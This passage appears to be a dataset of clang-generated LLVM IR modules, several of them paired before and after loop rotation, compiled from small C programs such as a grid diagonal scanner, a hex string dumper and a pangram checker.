%243 = sub nsw i32 %242, 1
%244 = load i32, ptr %4, align 4
%245 = sub nsw i32 %243, %244
%246 = load i32, ptr %5, align 4
%247 = sub nsw i32 %245, %246
%248 = sext i32 %247 to i64
%249 = getelementptr inbounds [255 x [255 x i32]], ptr %2, i64 0, i64 %248
%250 = load i32, ptr %5, align 4
%251 = sext i32 %250 to i64
%252 = getelementptr inbounds [255 x i32], ptr %249, i64 0, i64 %251
%253 = load i32, ptr %252, align 4
%254 = icmp eq i32 %253, 1
br i1 %254, label %255, label %258
255: ; preds = %241
%256 = load i32, ptr %6, align 4
%257 = add nsw i32 %256, 1
store i32 %257, ptr %6, align 4
br label %283
258: ; preds = %241, %238
%259 = load i32, ptr %8, align 4
%260 = icmp eq i32 %259, 1
br i1 %260, label %261, label %282
261: ; preds = %258
%262 = load i32, ptr %3, align 4
%263 = sub nsw i32 %262, 1
%264 = load i32, ptr %4, align 4
%265 = sub nsw i32 %263, %264
%266 = load i32, ptr %5, align 4
%267 = sub nsw i32 %265, %266
%268 = sext i32 %267 to i64
%269 = getelementptr inbounds [255 x [255 x i32]], ptr %2, i64 0, i64 %268
%270 = load i32, ptr %5, align 4
%271 = sext i32 %270 to i64
%272 = getelementptr inbounds [255 x i32], ptr %269, i64 0, i64 %271
%273 = load i32, ptr %272, align 4
%274 = icmp eq i32 %273, 0
br i1 %274, label %275, label %282
275: ; preds = %261
%276 = load i32, ptr %6, align 4
%277 = load i32, ptr %7, align 4
%278 = icmp sgt i32 %276, %277
br i1 %278, label %279, label %281
279: ; preds = %275
%280 = load i32, ptr %6, align 4
store i32 %280, ptr %7, align 4
br label %281
281: ; preds = %279, %275
store i32 0, ptr %8, align 4
store i32 0, ptr %6, align 4
br label %282
282: ; preds = %281, %261, %258
br label %283
283: ; preds = %282, %255
br label %284
284: ; preds = %283, %237
br label %285
285: ; preds = %284
%286 = load i32, ptr %5, align 4
%287 = add nsw i32 %286, 1
store i32 %287, ptr %5, align 4
%288 = load i32, ptr %5, align 4
%289 = load i32, ptr %3, align 4
%290 = sub nsw i32 %289, 1
%291 = load i32, ptr %4, align 4
%292 = sub nsw i32 %290, %291
%293 = icmp sle i32 %288, %292
br i1 %293, label %220, label %._crit_edge15, !llvm.loop !12
._crit_edge15: ; preds = %285
br label %294
294: ; preds = %._crit_edge15, %213
%295 = load i32, ptr %6, align 4
%296 = load i32, ptr %7, align 4
%297 = icmp sgt i32 %295, %296
br i1 %297, label %298, label %300
298: ; preds = %294
%299 = load i32, ptr %6, align 4
store i32 %299, ptr %7, align 4
br label %300
300: ; preds = %298, %294
%301 = load i32, ptr %7, align 4
%302 = load i32, ptr %3, align 4
%303 = load i32, ptr %4, align 4
%304 = sub nsw i32 %302, %303
%305 = icmp eq i32 %301, %304
br i1 %305, label %306, label %307
306: ; preds = %300
br label %583
307: ; preds = %300
store i32 0, ptr %8, align 4
store i32 0, ptr %6, align 4
%308 = load i32, ptr %4, align 4
%309 = icmp ne i32 %308, 0
br i1 %309, label %310, label %394
310: ; preds = %307
%311 = load i32, ptr %3, align 4
%312 = sub nsw i32 %311, 1
store i32 %312, ptr %5, align 4
%313 = load i32, ptr %5, align 4
%314 = load i32, ptr %4, align 4
%315 = icmp sge i32 %313, %314
br i1 %315, label %.lr.ph17, label %387
.lr.ph17: ; preds = %310
br label %316
316: ; preds = %.lr.ph17, %381
%317 = load i32, ptr %8, align 4
%318 = icmp eq i32 %317, 0
br i1 %318, label %319, label %334
319: ; preds = %316
%320 = load i32, ptr %5, align 4
%321 = sext i32 %320 to i64
%322 = getelementptr inbounds [255 x [255 x i32]], ptr %2, i64 0, i64 %321
%323 = load i32, ptr %3, align 4
%324 = sub nsw i32 %323, 1
%325 = load i32, ptr %4, align 4
%326 = add nsw i32 %324, %325
%327 = load i32, ptr %5, align 4
%328 = sub nsw i32 %326, %327
%329 = sext i32 %328 to i64
%330 = getelementptr inbounds [255 x i32], ptr %322, i64 0, i64 %329
%331 = load i32, ptr %330, align 4
%332 = icmp eq i32 %331, 1
br i1 %332, label %333, label %334
333: ; preds = %319
store i32 1, ptr %6, align 4
store i32 1, ptr %8, align 4
br label %380
334: ; preds = %319, %316
%335 = load i32, ptr %8, align 4
%336 = icmp eq i32 %335, 1
br i1 %336, label %337, label %354
337: ; preds = %334
%338 = load i32, ptr %5, align 4
%339 = sext i32 %338 to i64
%340 = getelementptr inbounds [255 x [255 x i32]], ptr %2, i64 0, i64 %339
%341 = load i32, ptr %3, align 4
%342 = sub nsw i32 %341, 1
%343 = load i32, ptr %4, align 4
%344 = add nsw i32 %342, %343
%345 = load i32, ptr %5, align 4
%346 = sub nsw i32 %344, %345
%347 = sext i32 %346 to i64
%348 = getelementptr inbounds [255 x i32], ptr %340, i64 0, i64 %347
%349 = load i32, ptr %348, align 4
%350 = icmp eq i32 %349, 1
br i1 %350, label %351, label %354
351: ; preds = %337
%352 = load i32, ptr %6, align 4
%353 = add nsw i32 %352, 1
store i32 %353, ptr %6, align 4
br label %379
354: ; preds = %337, %334
%355 = load i32, ptr %8, align 4
%356 = icmp eq i32 %355, 1
br i1 %356, label %357, label %378
357: ; preds = %354
%358 = load i32, ptr %5, align 4
%359 = sext i32 %358 to i64
%360 = getelementptr inbounds [255 x [255 x i32]], ptr %2, i64 0, i64 %359
%361 = load i32, ptr %3, align 4
%362 = sub nsw i32 %361, 1
%363 = load i32, ptr %4, align 4
%364 = add nsw i32 %362, %363
%365 = load i32, ptr %5, align 4
%366 = sub nsw i32 %364, %365
%367 = sext i32 %366 to i64
%368 = getelementptr inbounds [255 x i32], ptr %360, i64 0, i64 %367
%369 = load i32, ptr %368, align 4
%370 = icmp eq i32 %369, 0
br i1 %370, label %371, label %378
371: ; preds = %357
%372 = load i32, ptr %6, align 4
%373 = load i32, ptr %7, align 4
%374 = icmp sgt i32 %372, %373
br i1 %374, label %375, label %377
375: ; preds = %371
%376 = load i32, ptr %6, align 4
store i32 %376, ptr %7, align 4
br label %377
377: ; preds = %375, %371
store i32 0, ptr %8, align 4
store i32 0, ptr %6, align 4
br label %378
378: ; preds = %377, %357, %354
br label %379
379: ; preds = %378, %351
br label %380
380: ; preds = %379, %333
br label %381
381: ; preds = %380
%382 = load i32, ptr %5, align 4
%383 = add nsw i32 %382, -1
store i32 %383, ptr %5, align 4
%384 = load i32, ptr %5, align 4
%385 = load i32, ptr %4, align 4
%386 = icmp sge i32 %384, %385
br i1 %386, label %316, label %._crit_edge18, !llvm.loop !13
._crit_edge18: ; preds = %381
br label %387
387: ; preds = %._crit_edge18, %310
%388 = load i32, ptr %6, align 4
%389 = load i32, ptr %7, align 4
%390 = icmp sgt i32 %388, %389
br i1 %390, label %391, label %393
391: ; preds = %387
%392 = load i32, ptr %6, align 4
store i32 %392, ptr %7, align 4
br label %393
393: ; preds = %391, %387
br label %394
394: ; preds = %393, %307
%395 = load i32, ptr %7, align 4
%396 = load i32, ptr %3, align 4
%397 = load i32, ptr %4, align 4
%398 = sub nsw i32 %396, %397
%399 = icmp eq i32 %395, %398
br i1 %399, label %400, label %401
400: ; preds = %394
br label %583
401: ; preds = %394
store i32 0, ptr %8, align 4
store i32 0, ptr %6, align 4
store i32 0, ptr %5, align 4
%402 = load i32, ptr %5, align 4
%403 = load i32, ptr %3, align 4
%404 = sub nsw i32 %403, 1
%405 = load i32, ptr %4, align 4
%406 = sub nsw i32 %404, %405
%407 = icmp sle i32 %402, %406
br i1 %407, label %.lr.ph20, label %473
.lr.ph20: ; preds = %401
br label %408
408: ; preds = %.lr.ph20, %464
%409 = load i32, ptr %8, align 4
%410 = icmp eq i32 %409, 0
br i1 %410, label %411, label %423
411: ; preds = %408
%412 = load i32, ptr %5, align 4
%413 = load i32, ptr %4, align 4
%414 = add nsw i32 %412, %413
%415 = sext i32 %414 to i64
%416 = getelementptr inbounds [255 x [255 x i32]], ptr %2, i64 0, i64 %415
%417 = load i32, ptr %5, align 4
%418 = sext i32 %417 to i64
%419 = getelementptr inbounds [255 x i32], ptr %416, i64 0, i64 %418
%420 = load i32, ptr %419, align 4
%421 = icmp eq i32 %420, 1
br i1 %421, label %422, label %423
422: ; preds = %411
store i32 1, ptr %6, align 4
store i32 1, ptr %8, align 4
br label %463
423: ; preds = %411, %408
%424 = load i32, ptr %8, align 4
%425 = icmp eq i32 %424, 1
br i1 %425, label %426, label %440
426: ; preds = %423
%427 = load i32, ptr %5, align 4
%428 = load i32, ptr %4, align 4
%429 = add nsw i32 %427, %428
%430 = sext i32 %429 to i64
%431 = getelementptr inbounds [255 x [255 x i32]], ptr %2, i64 0, i64 %430
%432 = load i32, ptr %5, align 4
%433 = sext i32 %432 to i64
%434 = getelementptr inbounds [255 x i32], ptr %431, i64 0, i64 %433
%435 = load i32, ptr %434, align 4
%436 = icmp eq i32 %435, 1
br i1 %436, label %437, label %440
437: ; preds = %426
%438 = load i32, ptr %6, align 4
%439 = add nsw i32 %438, 1
store i32 %439, ptr %6, align 4
br label %462
440: ; preds = %426, %423
%441 = load i32, ptr %8, align 4
%442 = icmp eq i32 %441, 1
br i1 %442, label %443, label %461
443: ; preds = %440
%444 = load i32, ptr %5, align 4
%445 = load i32, ptr %4, align 4
%446 = add nsw i32 %444, %445
%447 = sext i32 %446 to i64
%448 = getelementptr inbounds [255 x [255 x i32]], ptr %2, i64 0, i64 %447
%449 = load i32, ptr %5, align 4
%450 = sext i32 %449 to i64
%451 = getelementptr inbounds [255 x i32], ptr %448, i64 0, i64 %450
%452 = load i32, ptr %451, align 4
%453 = icmp eq i32 %452, 0
br i1 %453, label %454, label %461
454: ; preds = %443
%455 = load i32, ptr %6, align 4
%456 = load i32, ptr %7, align 4
%457 = icmp sgt i32 %455, %456
br i1 %457, label %458, label %460
458: ; preds = %454
%459 = load i32, ptr %6, align 4
store i32 %459, ptr %7, align 4
br label %460
460: ; preds = %458, %454
store i32 0, ptr %8, align 4
store i32 0, ptr %6, align 4
br label %461
461: ; preds = %460, %443, %440
br label %462
462: ; preds = %461, %437
br label %463
463: ; preds = %462, %422
br label %464
464: ; preds = %463
%465 = load i32, ptr %5, align 4
%466 = add nsw i32 %465, 1
store i32 %466, ptr %5, align 4
%467 = load i32, ptr %5, align 4
%468 = load i32, ptr %3, align 4
%469 = sub nsw i32 %468, 1
%470 = load i32, ptr %4, align 4
%471 = sub nsw i32 %469, %470
%472 = icmp sle i32 %467, %471
br i1 %472, label %408, label %._crit_edge21, !llvm.loop !14
._crit_edge21: ; preds = %464
br label %473
473: ; preds = %._crit_edge21, %401
%474 = load i32, ptr %6, align 4
%475 = load i32, ptr %7, align 4
%476 = icmp sgt i32 %474, %475
br i1 %476, label %477, label %479
477: ; preds = %473
%478 = load i32, ptr %6, align 4
store i32 %478, ptr %7, align 4
br label %479
479: ; preds = %477, %473
%480 = load i32, ptr %7, align 4
%481 = load i32, ptr %3, align 4
%482 = load i32, ptr %4, align 4
%483 = sub nsw i32 %481, %482
%484 = icmp eq i32 %480, %483
br i1 %484, label %485, label %486
485: ; preds = %479
br label %583
486: ; preds = %479
store i32 0, ptr %8, align 4
store i32 0, ptr %6, align 4
%487 = load i32, ptr %4, align 4
%488 = icmp ne i32 %487, 0
br i1 %488, label %489, label %568
489: ; preds = %486
store i32 0, ptr %5, align 4
%490 = load i32, ptr %5, align 4
%491 = load i32, ptr %3, align 4
%492 = sub nsw i32 %491, 1
%493 = load i32, ptr %4, align 4
%494 = sub nsw i32 %492, %493
%495 = icmp sle i32 %490, %494
br i1 %495, label %.lr.ph23, label %561
.lr.ph23: ; preds = %489
br label %496
496: ; preds = %.lr.ph23, %552
%497 = load i32, ptr %8, align 4
%498 = icmp eq i32 %497, 0
br i1 %498, label %499, label %511
499: ; preds = %496
%500 = load i32, ptr %5, align 4
%501 = sext i32 %500 to i64
%502 = getelementptr inbounds [255 x [255 x i32]], ptr %2, i64 0, i64 %501
%503 = load i32, ptr %5, align 4
%504 = load i32, ptr %4, align 4
%505 = add nsw i32 %503, %504
%506 = sext i32 %505 to i64
%507 = getelementptr inbounds [255 x i32], ptr %502, i64 0, i64 %506
%508 = load i32, ptr %507, align 4
%509 = icmp eq i32 %508, 1
br i1 %509, label %510, label %511
510: ; preds = %499
store i32 1, ptr %6, align 4
store i32 1, ptr %8, align 4
br label %551
511: ; preds = %499, %496
%512 = load i32, ptr %8, align 4
%513 = icmp eq i32 %512, 1
br i1 %513, label %514, label %528
514: ; preds = %511
%515 = load i32, ptr %5, align 4
%516 = sext i32 %515 to i64
%517 = getelementptr inbounds [255 x [255 x i32]], ptr %2, i64 0, i64 %516
%518 = load i32, ptr %5, align 4
%519 = load i32, ptr %4, align 4
%520 = add nsw i32 %518, %519
%521 = sext i32 %520 to i64
%522 = getelementptr inbounds [255 x i32], ptr %517, i64 0, i64 %521
%523 = load i32, ptr %522, align 4
%524 = icmp eq i32 %523, 1
br i1 %524, label %525, label %528
525: ; preds = %514
%526 = load i32, ptr %6, align 4
%527 = add nsw i32 %526, 1
store i32 %527, ptr %6, align 4
br label %550
528: ; preds = %514, %511
%529 = load i32, ptr %8, align 4
%530 = icmp eq i32 %529, 1
br i1 %530, label %531, label %549
531: ; preds = %528
%532 = load i32, ptr %5, align 4
%533 = sext i32 %532 to i64
%534 = getelementptr inbounds [255 x [255 x i32]], ptr %2, i64 0, i64 %533
%535 = load i32, ptr %5, align 4
%536 = load i32, ptr %4, align 4
%537 = add nsw i32 %535, %536
%538 = sext i32 %537 to i64
%539 = getelementptr inbounds [255 x i32], ptr %534, i64 0, i64 %538
%540 = load i32, ptr %539, align 4
%541 = icmp eq i32 %540, 0
br i1 %541, label %542, label %549
542: ; preds = %531
%543 = load i32, ptr %6, align 4
%544 = load i32, ptr %7, align 4
%545 = icmp sgt i32 %543, %544
br i1 %545, label %546, label %548
546: ; preds = %542
%547 = load i32, ptr %6, align 4
store i32 %547, ptr %7, align 4
br label %548
548: ; preds = %546, %542
store i32 0, ptr %8, align 4
store i32 0, ptr %6, align 4
br label %549
549: ; preds = %548, %531, %528
br label %550
550: ; preds = %549, %525
br label %551
551: ; preds = %550, %510
br label %552
552: ; preds = %551
%553 = load i32, ptr %5, align 4
%554 = add nsw i32 %553, 1
store i32 %554, ptr %5, align 4
%555 = load i32, ptr %5, align 4
%556 = load i32, ptr %3, align 4
%557 = sub nsw i32 %556, 1
%558 = load i32, ptr %4, align 4
%559 = sub nsw i32 %557, %558
%560 = icmp sle i32 %555, %559
br i1 %560, label %496, label %._crit_edge24, !llvm.loop !15
._crit_edge24: ; preds = %552
br label %561
561: ; preds = %._crit_edge24, %489
%562 = load i32, ptr %6, align 4
%563 = load i32, ptr %7, align 4
%564 = icmp sgt i32 %562, %563
br i1 %564, label %565, label %567
565: ; preds = %561
%566 = load i32, ptr %6, align 4
store i32 %566, ptr %7, align 4
br label %567
567: ; preds = %565, %561
br label %568
568: ; preds = %567, %486
%569 = load i32, ptr %7, align 4
%570 = load i32, ptr %3, align 4
%571 = load i32, ptr %4, align 4
%572 = sub nsw i32 %570, %571
%573 = icmp eq i32 %569, %572
br i1 %573, label %574, label %575
574: ; preds = %568
br label %583
575: ; preds = %568
br label %576
576: ; preds = %575
%577 = load i32, ptr %4, align 4
%578 = add nsw i32 %577, 1
store i32 %578, ptr %4, align 4
%579 = load i32, ptr %4, align 4
%580 = load i32, ptr %3, align 4
%581 = sub nsw i32 %580, 1
%582 = icmp sle i32 %579, %581
br i1 %582, label %213, label %..loopexit_crit_edge, !llvm.loop !16
..loopexit_crit_edge: ; preds = %576
br label %.loopexit
.loopexit: ; preds = %..loopexit_crit_edge, %208
br label %583
583: ; preds = %.loopexit, %574, %485, %400, %306
%584 = load i32, ptr %7, align 4
%585 = call i32 @printf(ptr noundef @.str, i32 noundef %584)
br label %.backedge
586: ; preds = %13
ret i32 0
}
declare i32 @scanf(ptr noundef, ptr noundef) #1
declare i32 @printf(ptr noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
!9 = distinct !{!9, !7}
!10 = distinct !{!10, !7}
!11 = distinct !{!11, !7}
!12 = distinct !{!12, !7}
!13 = distinct !{!13, !7}
!14 = distinct !{!14, !7}
!15 = distinct !{!15, !7}
!16 = distinct !{!16, !7}
|
; ModuleID = '/tmp/tmp1lsafj92.c'
source_filename = "/tmp/tmp1lsafj92.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmp1lsafj92.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmp0rbro05i.c'
source_filename = "/tmp/tmp0rbro05i.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@EXIT_SUCCESS = dso_local global i32 0, align 4
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
%2 = alloca i32, align 4
store i32 0, ptr %1, align 4
store i32 0, ptr %2, align 4
br label %3
3: ; preds = %9, %0
%4 = load i32, ptr %2, align 4
%5 = icmp slt i32 %4, 1000
br i1 %5, label %6, label %12
6: ; preds = %3
%7 = call i32 (...) @function_with_memory_allocation()
%8 = call i32 @usleep(i32 noundef 10000)
br label %9
9: ; preds = %6
%10 = load i32, ptr %2, align 4
%11 = add nsw i32 %10, 1
store i32 %11, ptr %2, align 4
br label %3, !llvm.loop !6
12: ; preds = %3
%13 = load i32, ptr @EXIT_SUCCESS, align 4
ret i32 %13
}
declare i32 @function_with_memory_allocation(...) #1
declare i32 @usleep(i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmp0rbro05i.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@EXIT_SUCCESS = dso_local global i32 0, align 4
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
%2 = alloca i32, align 4
store i32 0, ptr %1, align 4
store i32 0, ptr %2, align 4
%3 = load i32, ptr %2, align 4
%4 = icmp slt i32 %3, 1000
br i1 %4, label %.lr.ph, label %13
.lr.ph: ; preds = %0
br label %5
5: ; preds = %.lr.ph, %8
%6 = call i32 (...) @function_with_memory_allocation()
%7 = call i32 @usleep(i32 noundef 10000)
br label %8
8: ; preds = %5
%9 = load i32, ptr %2, align 4
%10 = add nsw i32 %9, 1
store i32 %10, ptr %2, align 4
%11 = load i32, ptr %2, align 4
%12 = icmp slt i32 %11, 1000
br i1 %12, label %5, label %._crit_edge, !llvm.loop !6
._crit_edge: ; preds = %8
br label %13
13: ; preds = %._crit_edge, %0
%14 = load i32, ptr @EXIT_SUCCESS, align 4
ret i32 %14
}
declare i32 @function_with_memory_allocation(...) #1
declare i32 @usleep(i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
|
; ModuleID = '/tmp/tmpvoezd2_i.c'
source_filename = "/tmp/tmpvoezd2_i.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmpvoezd2_i.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmp868_5eru.c'
source_filename = "/tmp/tmp868_5eru.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [6 x i8] c"%02X \00", align 1
@.str.1 = private unnamed_addr constant [2 x i8] c"\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @StringDump(ptr noundef %0) #0 {
%2 = alloca ptr, align 8
%3 = alloca i32, align 4
store ptr %0, ptr %2, align 8
store i32 0, ptr %3, align 4
br label %4
4: ; preds = %17, %1
%5 = load i32, ptr %3, align 4
%6 = load ptr, ptr %2, align 8
%7 = call i32 @strlen(ptr noundef %6)
%8 = icmp slt i32 %5, %7
br i1 %8, label %9, label %20
9: ; preds = %4
%10 = load ptr, ptr %2, align 8
%11 = load i32, ptr %3, align 4
%12 = sext i32 %11 to i64
%13 = getelementptr inbounds i8, ptr %10, i64 %12
%14 = load i8, ptr %13, align 1
%15 = zext i8 %14 to i32
%16 = call i32 (ptr, ...) @printf(ptr noundef @.str, i32 noundef %15)
br label %17
17: ; preds = %9
%18 = load i32, ptr %3, align 4
%19 = add nsw i32 %18, 1
store i32 %19, ptr %3, align 4
br label %4, !llvm.loop !6
20: ; preds = %4
%21 = call i32 (ptr, ...) @printf(ptr noundef @.str.1)
ret void
}
declare i32 @strlen(ptr noundef) #1
declare i32 @printf(ptr noundef, ...) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmp868_5eru.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [6 x i8] c"%02X \00", align 1
@.str.1 = private unnamed_addr constant [2 x i8] c"\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @StringDump(ptr noundef %0) #0 {
%2 = alloca ptr, align 8
%3 = alloca i32, align 4
store ptr %0, ptr %2, align 8
store i32 0, ptr %3, align 4
%4 = load i32, ptr %3, align 4
%5 = load ptr, ptr %2, align 8
%6 = call i32 @strlen(ptr noundef %5)
%7 = icmp slt i32 %4, %6
br i1 %7, label %.lr.ph, label %23
.lr.ph: ; preds = %1
br label %8
8: ; preds = %.lr.ph, %16
%9 = load ptr, ptr %2, align 8
%10 = load i32, ptr %3, align 4
%11 = sext i32 %10 to i64
%12 = getelementptr inbounds i8, ptr %9, i64 %11
%13 = load i8, ptr %12, align 1
%14 = zext i8 %13 to i32
%15 = call i32 (ptr, ...) @printf(ptr noundef @.str, i32 noundef %14)
br label %16
16: ; preds = %8
%17 = load i32, ptr %3, align 4
%18 = add nsw i32 %17, 1
store i32 %18, ptr %3, align 4
%19 = load i32, ptr %3, align 4
%20 = load ptr, ptr %2, align 8
%21 = call i32 @strlen(ptr noundef %20)
%22 = icmp slt i32 %19, %21
br i1 %22, label %8, label %._crit_edge, !llvm.loop !6
._crit_edge: ; preds = %16
br label %23
23: ; preds = %._crit_edge, %1
%24 = call i32 (ptr, ...) @printf(ptr noundef @.str.1)
ret void
}
declare i32 @strlen(ptr noundef) #1
declare i32 @printf(ptr noundef, ...) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
|
; ModuleID = '/tmp/tmp3v0_9lnz.c'
source_filename = "/tmp/tmp3v0_9lnz.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [6 x i8] c"%[^\0A]\00", align 1
@.str.1 = private unnamed_addr constant [12 x i8] c"not pangram\00", align 1
@.str.2 = private unnamed_addr constant [8 x i8] c"pangram\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
%2 = alloca i32, align 4
